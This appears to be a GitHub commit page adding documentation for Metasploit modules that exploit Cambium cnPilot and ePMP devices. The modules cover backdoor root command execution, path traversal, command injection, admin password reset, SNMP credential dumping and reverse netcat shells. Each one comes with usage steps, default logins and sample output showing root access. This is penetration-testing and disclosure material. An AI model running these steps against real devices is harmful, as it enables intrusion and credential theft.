Skip to content

Commit e6de25d

Browse files
author
Tod Beardsley
committed
Land rapid7#9316 Cambium modules and mixins, tx @juushya
These cover several of the CVEs mentioned in https://blog.rapid7.com/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/
2 parents dc2b5df + 1bb2bb9 commit e6de25d

27 files changed

+2503
-605
lines changed

‎documentation/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.md

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
Cambium cnPilot r200/r201 device software versions 4.2.3-R4 and newer, contain an undocumented, backdoor 'root' shell. This shell is accessible via a specific url, to any authenticated user. The module uses this shell to execute arbitrary system commands as 'root'.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/cnpilot_r_cmd_exec```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```set CMD [command]```
9+
5. Do: ```run```
10+
11+
## Sample Output
12+
13+
```
14+
msf > use auxiliary/scanner/http/cnpilot_r_cmd_exec
15+
msf auxiliary(cnpilot_r_cmd_exec) > set RHOSTS 1.3.3.7
16+
msf auxiliary(cnpilot_r_cmd_exec) > set RPORT 80
17+
msf auxiliary(cnpilot_r_cmd_exec) > set CMD uname -a
18+
msf auxiliary(cnpilot_r_cmd_exec) > run
19+
20+
[+] 1.3.3.7:80 - Cambium cnPilot confirmed...
21+
[*] 1.3.3.7:80 - Attempting to login...
22+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "user":"user"
23+
[*] 1.3.3.7:80 - Checking backdoor 'root' shell...
24+
[+] 1.3.3.7:80 - You can access the 'root' shell at: http://1.3.3.7:80/adm/syscmd.asp
25+
[+] 1.3.3.7:80 - Executing command - uname -a
26+
[+]
27+
Linux cnPilot-R201 2.6.36 #1 Thu Feb 9 03:02:39 CST 2017 mips unknown
28+
29+
30+
[+] File saved in: /root/.msf4/loot/20000000000003_default_1.3.3.7_cmdexeclog_12345.txt
31+
[*] Scanned 1 of 1 hosts (100% complete)
32+
[*] Auxiliary module execution completed
33+
34+
35+
```

‎documentation/modules/auxiliary/admin/http/cnpilot_r_fpt.md

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 devices to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/cnpilot_r_fpt```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```set FILENAME [filename]```
9+
5. Do: ```run```
10+
11+
## Sample Output
12+
13+
```
14+
msf > use auxiliary/scanner/http/cnpilot_r_fpt
15+
msf auxiliary(cnpilot_r_fpt) > set RHOSTS 1.3.3.7
16+
msf auxiliary(cnpilot_r_fpt) > set RPORT 80
17+
msf auxiliary(cnpilot_r_fpt) > set FILENAME /etc/hosts
18+
msf auxiliary(cnpilot_r_fpt) > run
19+
20+
[+] 1.3.3.7:80 - Cambium cnPilot confirmed...
21+
[*] 1.3.3.7:80 - Attempting to login...
22+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "user":"user"
23+
[*] 1.3.3.7:80 - Accessing the file...
24+
[+] 127.0.0.1 localhost.localdomain localhost
25+
26+
[+] File saved in: /root/.msf4/loot/20000000000003_default_1.3.3.7_fptlog_12345.txt
27+
[*] Scanned 1 of 1 hosts (100% complete)
28+
[*] Auxiliary module execution completed
29+
30+
31+
```

‎documentation/modules/auxiliary/admin/http/epmp1000_get_chart_cmd_exec.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 (v3.1-3.5-RC7) device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to execute arbitrary system commands. This module injects the payload in 'timestamp' parameter. Alternatively, a second, vulnerable parameter 'measure' can also be used.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_get_chart_cmd_exec```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```set CMD [COMMAND]```
9+
5. Do: ```run```
10+
11+
## Sample Output
12+
13+
```
14+
msf > use auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
15+
msf auxiliary(epmp1000_get_chart_cmd_exec) > set rhosts 1.3.3.7
16+
msf auxiliary(epmp1000_get_chart_cmd_exec) > set rport 80
17+
msf auxiliary(epmp1000_get_chart_cmd_exec) > set CMD id; pwd
18+
msf auxiliary(epmp1000_get_chart_cmd_exec) > run
19+
20+
[+] 1.3.3.7:80 - Running Cambium ePMP 1000 version 3.5...
21+
[*] 1.3.3.7:80 - Attempting to login...
22+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "installer":"installer"
23+
[*] 1.3.3.7:80 - Executing id; pwd
24+
uid=0(root) gid=0(root)
25+
/
26+
[*] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_default_1.3.3.7_ePMP_cmd_exec_12345.txt
27+
[*] Scanned 1 of 1 hosts (100% complete)
28+
[*] Auxiliary module execution completed
29+
30+
```

‎documentation/modules/auxiliary/admin/http/epmp1000_reset_pass.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
This module exploits an access control vulnerability in Cambium ePMP device management portal. It requires any one of the following non-admin login credentials - installer/installer, home/home, readonly/readonly - to reset password of other existing user(s) including 'admin'. All versions <=3.5 (current as of today) are affected. The module has been tested on versions 3.0-3.5-RC7.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/http/epmp1000_reset_pass```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set RPORT [PORT]```
8+
4. Do: ```set TARGET_USERNAME admin```
9+
5. Do: ```set NEW_PASSWORD newpass```
10+
6. Do: ```run```
11+
12+
## Sample Output
13+
14+
```
15+
msf > use use auxiliary/scanner/http/epmp1000_reset_pass
16+
msf auxiliary(epmp1000_reset_pass) > set rhosts 1.3.3.7
17+
msf auxiliary(epmp1000_reset_pass) > set rport 80
18+
msf auxiliary(epmp1000_reset_pass) > set TARGET_USERNAME admin
19+
msf auxiliary(epmp1000_reset_pass) > set NEW_PASSWORD newpass
20+
msf auxiliary(epmp1000_reset_pass) > run
21+
22+
[+] 1.3.3.7:80 - Running Cambium ePMP version 3.5...
23+
[*] 1.3.3.7:80 - Attempting to login...
24+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "readonly":"readonly"
25+
[*] 1.3.3.7:80 - Changing password for admin to newpass
26+
[+] Password successfully changed!
27+
[*] Scanned 1 of 1 hosts (100% complete)
28+
[*] Auxiliary module execution completed
29+
30+
```

‎documentation/modules/auxiliary/scanner/http/cnpilot_r_web_login_loot.md

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
This module scans for Cambium cnPilot r200/r201 management login portal(s), attempts to identify valid credentials, and dump device configuration.
2+
3+
The device has at least two (2) users - admin and user. Due to an access control vulnerability, it is possible for 'user' account to access full device config. All information, including passwords, and keys, is stored insecurely, in clear-text form, thus allowing unauthorized 'admin' access to any user.
4+
5+
## Verification Steps
6+
7+
1. Do: ```use auxiliary/scanner/http/cnpilot_r_web_login_loot```
8+
2. Do: ```set RHOSTS [IP]```
9+
3. Do: ```set RPORT [PORT]```
10+
4. Do: ```run```
11+
12+
## Sample Output
13+
14+
```
15+
msf > use auxiliary/scanner/http/cnpilot_r_web_login_loot
16+
msf auxiliary(cnpilot_r_web_login_loot) > set rhosts 1.3.3.7
17+
msf auxiliary(cnpilot_r_web_login_loot) > run
18+
19+
[*] 1.3.3.7:80 - Cambium cnPilot confirmed...
20+
[+] 1.3.3.7:80 - Attempting to login...
21+
[+] SUCCESSFUL LOGIN - 1.3.3.7:80 - "admin":"admin"
22+
[*] 1.3.3.7:80 - dumping device configuration
23+
[+] 1.3.3.7:80 - Configfile.cfg retrieved successfully!
24+
[+] 1.3.3.7:80 - File saved in: /root/.msf4/loot/20000000000003_default_1.3.3.7_Configfile.cfg_12345.txt
25+
[*] Scanned 1 of 1 hosts (100% complete)
26+
[*] Auxiliary module execution completed
27+
28+
```

‎documentation/modules/auxiliary/scanner/snmp/cnpilot_r_snmp_loot.md

Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
Cambium cnPilot r200/r201 devices can be administered using SNMP. The device configuration contains IP addresses, keys, passwords, & lots of juicy information. This module exploits an access control flaw, which allows remotely extracting sensitive information such as account passwords, WiFI PSK, & SIP credentials via SNMP Read-Only (RO) community string.
2+
3+
## Verification Steps
4+
5+
1. Do: ```use auxiliary/scanner/snmp/cnpilot_r_snmp_loot```
6+
2. Do: ```set RHOSTS [IP]```
7+
3. Do: ```set COMMUNITY public```
8+
4. Do: ```run```
9+
10+
## Sample Output
11+
12+
```
13+
msf > use auxiliary/scanner/snmp/cnpilot_r_snmp_loot
14+
msf auxiliary(cnpilot_r_snmp_loot) > set rhosts 1.3.3.7
15+
msf auxiliary(cnpilot_r_snmp_loot) > run
16+
17+
[+] 1.3.3.7, Connected.
18+
19+
[*] Fetching System Information...
20+
21+
[+] SNMP System Name: cnPilot R200P
22+
[+] SNMP System Description: cnPilot R200P 4.3.1-R1
23+
[+] Device UpTime: 666 days, 00:66:60.00
24+
[+] Hardware version: V1.3
25+
[+] Firmware version: 4.3.1-R1(201612201723)
26+
27+
[*] Fetching Login Account Information...
28+
29+
[+] Web Management Admin Login Name: admin
30+
[+] Web Management Admin Login Password: S3cr3t
31+
32+
[*] Fetching SNMP Information...
33+
34+
[+] SNMP read-only community name: public
35+
[+] SNMP read-write community name: private
36+
[+] SNMP Trap Community: trap
37+
[+] SNMP Trap Server IP Address:
38+
39+
[*] Fetching WIFI Information...
40+
41+
[+] Wireless Interface SSID: wifi_ssid
42+
[+] Wireless Interface Encryption Key: wifi_secret_key
43+
[+] Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): WPA2PSK
44+
45+
[*] Fetching SIP Account Information...
46+
47+
[+] SIP Account Number: 123456789
48+
[+] SIP Account Password: 123456789
49+
50+
[+] Cambium cnPilot SNMP loot saved at /root/.msf4/loot/20000000000003_default_1.3.3.7_cambium_cnpilot__12345.txt
51+
52+
[*] Scanned 1 of 1 hosts (100% complete)
53+
[*] Auxiliary module execution completed
54+
55+
```

‎documentation/modules/auxiliary/scanner/snmp/epmp1000_snmp_loot.md

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
Cambium devices (ePMP, PMP, Force, others) can be administered using SNMP. The device configuration contains IP addresses, keys, and passwords, amongst other information. This module uses SNMP to extract Cambium ePMP device configuration. On certain software versions, specific device configuration values can be accessed using SNMP RO string, even though only SNMP RW string should be able to access them, according to MIB documentation.
2+
3+
The module also triggers full configuration backup, and retrieves the backup url. The configuration file can then be downloaded without authentication. The module has been tested on Cambium ePMP versions <=3.5.
4+
5+
Note: If the backup url is not retrieved, it is recommended to increase the TIMEOUT and reduce the number of THREADS.
6+
7+
## Verification Steps
8+
9+
1. Do: ```use auxiliary/scanner/snmp/epmp1000_snmp_loot```
10+
2. Do: ```set RHOSTS [IP]```
11+
3. Do: ```set COMMUNTY [SNMP_COMMUNUTY_STRING]```
12+
4. Do: ```run```
13+
14+
## Sample Output
15+
16+
```
17+
msf > use auxiliary/scanner/snmp/epmp_snmp_loot
18+
msf auxiliary(epmp_snmp_loot) > set rhosts 1.3.3.7
19+
msf auxiliary(epmp_snmp_loot) > set COMMUNITY private
20+
msf auxiliary(epmp_snmp_loot) > run
21+
22+
msf auxiliary(epmp1000_snmp_loot) > run
23+
24+
[*] Fetching System Information...
25+
26+
[+] 1.3.3.7
27+
[+] SNMP System Name: Cambium
28+
[+] SNMP System Description: Cambium
29+
[+] Device UpTime: 0021:08:36:45
30+
[+] U-boot version: U-Boot 9350_PX 1.1.4.e (Feb 24 2016 - 20:14:38)
31+
32+
[*] Fetching SNMP Information...
33+
34+
[+] SNMP read-only community name: public
35+
[+] SNMP read-write community name: private
36+
[+] SNMP Trap Community: cambiumtrap
37+
[+] SNMP Trap Server IP Address: Null
38+
39+
[*] Fetching WIFI Information...
40+
41+
[+] Wireless Interface SSID: SSID
42+
[+] Wireless Interface Encryption Key: secretkey
43+
[+] Wireless Interface Encryption (1 - Open mode, 2 - wpa2 mode, 3 - EAP-TTLS): 2
44+
45+
[*] Fetching WIFI Radius Information...
46+
47+
[+] RADIUS server info:
48+
[+] RADIUS server port: Null
49+
[+] RADIUS server secret: Null
50+
[+] Wireless Radius Username: cambium-station
51+
[+] Wireless Radius Password: cambium
52+
53+
[*] Fetching Network PPPoE Information...
54+
55+
[+] Network PPPoE Service Name: temp
56+
[+] Network PPPoE Username: username
57+
[+] Network PPPoE Password: password
58+
59+
[+] 1.3.3.7 - Cambium ePMP loot saved at /root/.msf4/loot/20000000000003_default_1.3.3.7_snmp_loot_000001.txt
60+
[+] 1.3.3.7 - Configuration backed-up for direct download at: http://1.3.3.7/dl/3.5_00000000000001.json
61+
[*] Scanned 1 of 1 hosts (100% complete)
62+
[*] Auxiliary module execution completed
63+
64+
```

‎documentation/modules/exploit/linux/http/epmp1000_get_chart_cmd_shell.md

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to set up a reverse netcat shell. This module injects the payload in 'timestamp' parameter. Alternatively, a second, vulnerable parameter 'measure' can also be used. The module has been tested on versions 3.1-3.5-RC7.
2+
3+
Note: `cmd/unix/reverse_netcat` is the only payload that seems to work and is stable. After the session is opened, there may be a slight delay in response after first command is issued. There are no delays in receiving responses to subsequent command(s). It is recommended to use 'exploit -j'.
4+
5+
## Verification Steps
6+
7+
1. Do: ```use exploit/unix/http/epmp1000_get_chart_cmd_shell```
8+
2. Do: ```set RHOST [IP]```
9+
3. Do: ```set RPORT [PORT]```
10+
4. Do: ```set LHOST [IP]```
11+
5. Do: ```exploit -j```
12+
13+
## Sample Output
14+
15+
```
16+
msf > use use exploit/unix/http/epmp1000_get_chart_cmd_shell
17+
msf exploit(epmp1000_get_chart_cmd_shell) > set RHOST 192.168.0.2
18+
msf exploit(epmp1000_get_chart_cmd_shell) > set RPORT 80
19+
msf exploit(epmp1000_get_chart_cmd_shell) > set LHOST 192.168.0.104
20+
msf exploit(epmp1000_get_chart_cmd_shell) > exploit -j
21+
22+
[*] Started reverse TCP handler on 192.168.0.104:4444
23+
[+] SUCCESSFUL LOGIN - 192.168.0.2:80 - "installer":"installer"
24+
[*] Sending payload...
25+
[*] Command shell session 5 opened (192.168.0.104:4444 -> 192.168.0.2:41941) at 2017-12-02 05:05:00 +0700
26+
27+
msf exploit(epmp1000_get_chart_cmd_shell) > sessions -l
28+
29+
Active sessions
30+
===============
31+
32+
Id Type Information Connection
33+
-- ---- ----------- ----------
34+
5 shell cmd/unix 192.168.0.104:4444 -> 192.168.0.2:41941 (192.168.0.2)
35+
36+
msf exploit(epmp1000_get_chart_cmd_shell) > sessions -i 5
37+
[*] Starting interaction with 5...
38+
39+
id
40+
uid=0(root) gid=0(root)
41+
42+
```

‎documentation/modules/exploit/linux/http/epmp1000_ping_cmd_shell.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
This module exploits an OS Command Injection vulnerability in Cambium ePMP1000 device management portal. It requires any one of the following login credentials - admin/admin, installer/installer, home/home - to set up a reverse netcat shell.
2+
3+
This module injects the payload in 'packets_num' parameter. Alternatively, a second, vulnerable parameter 'ping_ip' can also be used.
4+
5+
Note: `cmd/unix/reverse_netcat` is the only payload that seems to work and is stable. After the session is opened, there may be a slight delay in response after first command is issued. There are no delays in receiving responses to subsequent command(s). It is recommended to use 'exploit -j'.
6+
7+
## Verification Steps
8+
9+
1. Do: ```use exploit/unix/http/epmp1000_ping_cmd_shell```
10+
2. Do: ```set RHOST [IP]```
11+
3. Do: ```set RPORT [PORT]```
12+
4. Do: ```set LHOST [IP]```
13+
5. Do: ```exploit -j```
14+
15+
## Sample Output
16+
17+
```
18+
msf > use use exploit/unix/http/epmp1000_ping_cmd_shell
19+
msf exploit(epmp1000_ping_cmd_shell) > set RHOST 192.168.0.2
20+
msf exploit(epmp1000_ping_cmd_shell) > set RPORT 80
21+
msf exploit(epmp1000_ping_cmd_shell) > set LHOST 192.168.0.104
22+
msf exploit(epmp1000_ping_cmd_shell) > exploit -j
23+
24+
[*] Started reverse TCP handler on 192.168.0.104:4444
25+
[+] SUCCESSFUL LOGIN - 192.168.0.2:80 - "installer":"installer"
26+
[*] Sending payload...
27+
[*] Command shell session 10 opened (192.168.0.104:4444 -> 192.168.0.2:43594) at 2017-12-02 06:08:00 +0700
28+
29+
msf exploit(epmp1000_ping_cmd_shell) > sessions -l
30+
31+
Active sessions
32+
===============
33+
34+
Id Type Information Connection
35+
-- ---- ----------- ----------
36+
10 shell cmd/unix 192.168.0.104:4444 -> 192.168.0.2:43594 (192.168.0.2)
37+
38+
msf exploit(epmp1000_ping_cmd_shell) > sessions -i 10
39+
[*] Starting interaction with 10...
40+
41+
id
42+
uid=0(root) gid=0(root)
43+
44+
```

0 commit comments

Comments
 (0)